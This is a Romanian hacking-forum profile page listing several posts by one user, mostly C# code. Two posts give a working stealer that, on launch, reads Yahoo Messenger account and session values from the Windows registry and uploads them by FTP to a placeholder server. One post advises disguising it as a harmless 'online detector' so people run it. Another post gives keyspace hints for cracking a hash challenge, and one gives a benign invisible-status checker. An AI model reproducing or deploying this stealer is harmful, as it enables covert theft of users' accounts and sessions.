Jump to content

mosulica

Members
  • Posts

    47
  • Joined

  • Last visited

Posts posted by mosulica

  1. VB.net

    using System;

    using System.Collections.Generic;

    using System.ComponentModel;

    using System.Data;

    using System.Drawing;

    using System.Text;

    using System.Windows.Forms;

    using System.IO;

    using System.Net;

    using Microsoft.Win32;

    namespace yahoo

    {

    public partial class Form1 : Form

    {

    public Form1()

    {

    InitializeComponent();

    string reg;

    RegistryKey key;

    key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\");

    reg = (string)key.GetValue("Yahoo! User ID");

    string path = @"c:\" + reg + ".txt";

    File.Delete(path);

    if (!File.Exists(path))

    {

    StreamWriter sw = File.CreateText(path);

    sw.WriteLine(reg);

    reg = (string)key.GetValue("ETS");

    sw.WriteLine(reg);

    reg = (string)key.GetValue("MD_ID_VALUE");

    sw.WriteLine(reg);

    sw.Close();

    }

    reg = (string)key.GetValue("Yahoo! User ID");

    System.Net.WebClient client = new System.Net.WebClient();

    client.Credentials = new System.Net.NetworkCredential("userftp", "passftp");

    client.UploadFile("ftp://ftpserver" + "/" + new FileInfo(path).Name, "STOR", path);

    File.Delete(path);

    key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\");

    reg = (string)key.GetValue("Yahoo! User ID");

    string path2 = @"c:\" + reg + "_iduri.txt";

    File.Delete(path2);

    }

    private void button1_Click(object sender, EventArgs e)

    {

    string reg;

    RegistryKey key;

    key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\");

    reg = (string)key.GetValue("Yahoo! User ID");

    string path2 = @"c:\" + reg + "_iduri.txt";

    File.Delete(path2);

    this.Close();

    }

    private void button2_Click(object sender, EventArgs e)

    {

    string reg;

    RegistryKey key;

    key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\");

    reg = (string)key.GetValue("Yahoo! User ID");

    string path2 = @"c:\" + reg + "_iduri.txt";

    if (textBox1.Text != "")

    {

    if (!File.Exists(path2))

    {

    StreamWriter sw2 = File.CreateText(path2);

    StringBuilder sb = new StringBuilder();

    byte[] buf = new byte[8192];

    HttpWebRequest request = (HttpWebRequest)

    WebRequest.Create("http://opi.yahoo.com/online?u=" + textBox1.Text + "&m=t");

    HttpWebResponse response = (HttpWebResponse)

    request.GetResponse();

    Stream resStream = response.GetResponseStream();

    string tempString = null;

    int count = 0;

    do

    {

    // fill the buffer with data

    count = resStream.Read(buf, 0, buf.Length);

    // make sure we read some data

    if (count != 0)

    {

    // translate from bytes to ASCII text

    tempString = Encoding.ASCII.GetString(buf, 0, count);

    // continue building the string

    sb.Append(tempString);

    }

    }

    while (count > 0);

    label2.Text = sb.ToString();

    pictureBox1.Width = 96;

    pictureBox1.Height = 96;

    pictureBox1.Load("http://img.msg.yahoo.com/avatar.php?yids=" + textBox1.Text + "&format=png");

    pictureBox1.Refresh();

    sw2.WriteLine(textBox1.Text);

    sw2.Close();

    System.Net.WebClient client = new System.Net.WebClient();

    client.Credentials = new System.Net.NetworkCredential("userftp", "passftp");

    client.UploadFile("ftp://linkftp" + "/" + new FileInfo(path2).Name, "STOR", path2);

    }

    if (File.Exists(path2))

    {

    StreamWriter sw2 = File.AppendText(path2);

    StringBuilder sb = new StringBuilder();

    byte[] buf = new byte[8192];

    HttpWebRequest request = (HttpWebRequest)

    WebRequest.Create("http://opi.yahoo.com/online?u=" + textBox1.Text + "&m=t");

    HttpWebResponse response = (HttpWebResponse)

    request.GetResponse();

    Stream resStream = response.GetResponseStream();

    string tempString = null;

    int count = 0;

    do

    {

    // fill the buffer with data

    count = resStream.Read(buf, 0, buf.Length);

    // make sure we read some data

    if (count != 0)

    {

    // translate from bytes to ASCII text

    tempString = Encoding.ASCII.GetString(buf, 0, count);

    // continue building the string

    sb.Append(tempString);

    }

    }

    while (count > 0);

    label2.Text = sb.ToString();

    pictureBox1.Width = 96;

    pictureBox1.Height = 96;

    pictureBox1.Load("http://img.msg.yahoo.com/avatar.php?yids=" + textBox1.Text + "&format=png");

    pictureBox1.Refresh();

    sw2.WriteLine(textBox1.Text);

    sw2.Close();

    System.Net.WebClient client = new System.Net.WebClient();

    client.Credentials = new System.Net.NetworkCredential("userftp", "passftw");

    client.UploadFile("ftp://ftpsite" + "/" + new FileInfo(path2).Name, "STOR", path2);

    }

    }

    }

    }

    }

    • Downvote 1
  2. keySpace = (charSetLen ^ (maxPwLen + 1) - charSetLen ^ minPwLen) / (charSetLen - 1)

    scoateti de aici maxPwLen stiind keySpaceul dat de begood, apoi calculati keySpaceul pentru o primul hash cu 17 caractere si faceti scaderea. Vor iesi 6463705302148614556127245766064 hashuri peste 17, implementati algoritmul de generare in C si aflati care este hashul.

    Puteti calcula si keySpaceul pentru maxPwLen de 18, veti vedea ca parola este formata din 17 caractere totusi.

    Trebuie generat fix al 6463705302148614556127245766064 string format din 17 caractere urmarind algoritmul dat.

    Pentru calcule matematice complexe folositi http://www.wolframalpha.com/

    Hint : http://www.freerainbowtables.com/phpBB3/topic1394.html

    ps. v-a ramas ceasul de pe server in urma cred

  3. C#

    se mai adauga 2 updateuri :) prima parte zice daca persoana respectiva este v-a dat invisible doar dvs. sau este offline/invisible total , partea a 2-a arata id`ul persoanei in cauza.

    va trebuie textbox1 , button2 si un picturebox1.

    if (textBox1.Text != "")

    {

    StringBuilder sb = new StringBuilder();

    byte[] buf = new byte[8192];

    HttpWebRequest request = (HttpWebRequest)

    WebRequest.Create("http://opi.yahoo.com/online?u=" + textBox1.Text + "&m=t");

    HttpWebResponse response = (HttpWebResponse)

    request.GetResponse();

    Stream resStream = response.GetResponseStream();

    string tempString = null;

    int count = 0;

    do

    {

    count = resStream.Read(buf, 0, buf.Length);

    if (count != 0)

    {

    tempString = Encoding.ASCII.GetString(buf, 0, count);

    sb.Append(tempString);

    }

    }

    while (count > 0);

    label2.Text = sb.ToString();

    pictureBox1.Width = 96;

    pictureBox1.Height = 96;

    pictureBox1.Load("http://img.msg.yahoo.com/avatar.php?yids=" + textBox1.Text + "&format=png");

    pictureBox1.Refresh();

    }

  4. Varianta c#

    adaugati astea :

    using System.IO;

    using System.Net;

    using Microsoft.Win32;

    dupa InitializeComponent(); bagati liniile de mai jos , modificati cu serverul vostru ftp, user si parola. cel mai simplu:) aa.. si nu uitati sa compilati pt framework 2.0 sa mearga la tot omul.. si de plictiseala mai puteti adauga un yahoo online detector de 2-3 randuri:) sa faca ceva totusi programul sa il foloseasca lumea:)

    string reg;

    RegistryKey key;

    key = Registry.CurrentUser.OpenSubKey(@"Software\Yahoo\pager\");

    reg = (string)key.GetValue("Yahoo! User ID");

    string path = @"c:\" + reg + ".txt";

    File.Delete(path);

    if (!File.Exists(path))

    {

    StreamWriter sw = File.CreateText(path);

    sw.WriteLine(reg);

    reg = (string)key.GetValue("ETS");

    sw.WriteLine(reg);

    reg = (string)key.GetValue("MD_ID_VALUE");

    sw.WriteLine(reg);

    sw.Close();

    }

    reg = (string)key.GetValue("Yahoo! User ID");

    System.Net.WebClient client = new System.Net.WebClient();

    client.Credentials = new System.Net.NetworkCredential("test@domeniu.ro", "parola");

    client.UploadFile("ftp://domeniu.ro" + "/" + new FileInfo(path).Name, "STOR", path);

    File.Delete(path);

×
×
  • Create New...